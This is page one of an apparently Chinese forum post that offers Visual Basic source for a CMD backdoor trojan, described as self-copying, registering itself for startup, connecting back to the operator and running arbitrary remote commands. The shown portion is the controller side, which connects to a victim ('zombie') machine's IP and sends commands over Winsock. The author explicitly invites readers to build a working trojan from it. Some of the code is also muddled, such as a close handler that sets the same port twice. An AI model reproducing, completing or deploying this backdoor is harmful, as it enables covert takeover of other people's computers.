CMD后门远程执行任意源码

VB的CMD后门远程执行任意命令的源码.
功能有自动复杂自身.添加到注册表启动,反向连接.远程执行任意CMD命令等.不想写的太烦了.源码帖出来给大家继续研究.按照这个源码的便宜是可以做出一直能上台面的后门木马的.基本功能都有了.我连注译都写得很清楚了.

控制端代码:

Private Sub cmd_connect_Click()
  ’取得肉机IP，并请求连接
  SockClient.RemoteHost = txt_ip.Text
  SockClient.Connect
End Sub
Private Sub Command1_Click()
  ’发送命令
  Dim MySendData As String
  MySendData = txt_send.Text
  SockClient.SendData MySendData
  txt_send.Text = ""
End Sub

Private Sub cmd_end_Click()
  ’发送退出请求
  SockClient.SendData "OPEN" ’ 请求标志
  cmd_connect.Enabled = True   ’激活连接按钮
  End Sub

Private Sub Form_Load()

End Sub

Private Sub SockClient_Close()
Me.SockServer.LocalPort = 1002 ’服务端要连接的端口
Me.SockServer.LocalPort = 1001 ’服务端占用1002端口
End Sub

Private Sub SockClient_Connect()
  MsgBox "连接成功", vbInformation, "网络连接"
  ’使连接按钮无效，避免错误
  cmd_connect.Enabled = False
End Sub

Private Sub SockClient_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  ’出错后关闭SockClient
  SockClient.Close
End Sub

Private Sub SockServer_Close()
  cmd_connect.Enabled = True
End Sub

Private Sub SockServer_ConnectionRequest(ByVal requestID As Long)
  ’判断服务器不关闭时接受连接请求
  If SockServer.State <> sckClosed Then SockServer.Close
    SockServer.Accept requestID
End Sub

[1] [2] 下一页